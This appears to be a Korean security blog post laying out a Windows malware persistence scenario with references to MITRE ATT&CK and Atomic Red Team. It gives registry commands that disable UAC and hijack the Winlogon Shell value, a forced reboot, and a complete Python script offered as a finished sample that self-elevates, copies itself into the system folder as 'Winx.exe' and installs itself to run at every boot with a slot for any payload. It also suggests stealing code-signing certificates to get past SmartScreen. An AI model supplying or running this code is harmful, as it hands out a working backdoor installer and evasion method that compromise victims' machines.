시나리오
UAC Alert 해제 후 프로그램이 관리자 권한으로 매 부팅마다 실행되도록 지속성 부여
1. UAC 해제
# CMD
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
GitHub - redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE's ATT&CK.
Small and highly portable detection tests based on MITRE's ATT&CK. - GitHub - redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE's ATT&CK.
github.com
2. 부팅 시 자동 실행 등록
# REG.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Sub-technique T1547.001 - Enterprise | MITRE ATT&CK®
attack.mitre.org
3. UAC 적용을 위한 PC 재시작
# CMD
shutdown /r /f
4. 악성 프로그램 실행
# Python 3.X
# 관리자 권한으로 실행하는 로직
# 인터넷을 통해 배포되지 않은 경우 Smart Screen 발생하지 않음
# Smart Screen 발생의 경우의 수 추가 확인 필요
import os
import sys
# win32com.shell이 아닌 win32comext 이다
from win32comext.shell import shell
ASADMIN = 'asadmin'
print(sys.argv)
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit()
# 사용자 임의 Payload
[파이썬] 권한 상승 요청 코드(2022 최신)
온라인에서 발견되는 기존 파이썬 권한 상승 요청 코드의 경우 패키지 이름이 win32com에서 shell을 요청하지만 2022년 기준 win32comext에 존재한다. import os import sys # win32com.shell이 아닌 win32comext..
twoicefish-secu.tistory.com
기타. 스마트스크린 발생 시
코드사인 인증서 탈취 후 적용하여 우회
[정보] 프로그램 인증서 서명과 악성 프로그램
웹브라우저 파일 다운로드, 백신 및 Windows Defender Smart Screen을 거치지 않기 위해서는 프로그램에 서명이 필요하다. 이는 업체를 통해 인증서를 구매하여 프로그램에 private 키로 서명하여 인증서
twoicefish-secu.tistory.com
한국기업보안, 스마트스크린 필터 즉시 해제 가능한 EV코드서명 인증서 출시
서울--(뉴스와이어) 2016년 05월 16일 -- (주)한국기업보안 인증서업부 유서트는 2016년 부터 국내최초로 EV 코드서명 인증서(Extended Validation Code Signing Certificate)를 출시했다. EV코드서명 인증서는 기존
www.newswire.co.kr
5. 완성 샘플
사용자가 관리자권한으로 한번 실행해주면 부팅시 마다 관리자 권한으로 실행된다.
# 자동실행 위치(제일빠름)
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
전체 코드
import os
import sys
# On pywin32 Use win32comext in 2022
import webbrowser
from shutil import copyfile
from win32comext.shell import shell
ASADMIN = 'asadmin'
PROG_NAME ='Winx.exe'
ROOT_PATH = os.environ['SystemRoot']
if __name__ == '__main__':
# If Run as User, Run as Administrator
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit()
# Add persistance & Reboot for deUAC
if os.path.isdir(os.path.join(ROOT_PATH,'Winx')) is False:
try:
os.mkdir(os.path.join(ROOT_PATH,'Winx'))
os.system('reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f')
os.system(f'reg.exe ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v Shell /t REG_SZ /d "explorer.exe, {ROOT_PATH}\\{PROG_NAME}"')
copyfile(sys.argv[0], os.path.join(ROOT_PATH, PROG_NAME))
os.system('shutdown /r /f /t 1')
except FileExistsError:
pass
sys.exit()
# Write your payload
print(f'/d "explorer.exe,{ROOT_PATH}\\{PROG_NAME}"')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
GitHub - TwoIceFIsh/Py-Backdoor
Contribute to TwoIceFIsh/Py-Backdoor development by creating an account on GitHub.
github.com
6. 참고할만한 자료
MITRE ATT&CK®
MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private se
attack.mitre.org
파일리스(Fileless)기법 설명
0. 목차 Contents 0. 목차 1. 소개 1.1 배경 1.2 파일리스(Fileless)기법 1) AVT(Advanced Volatile Threat) 2) 사용 이유 3) 문제점 2. 파일리스(Fileless) 공격 2.1 공격 절차 2.2 Powershell 예제 및 옵션 1) P..
rninche01.tistory.com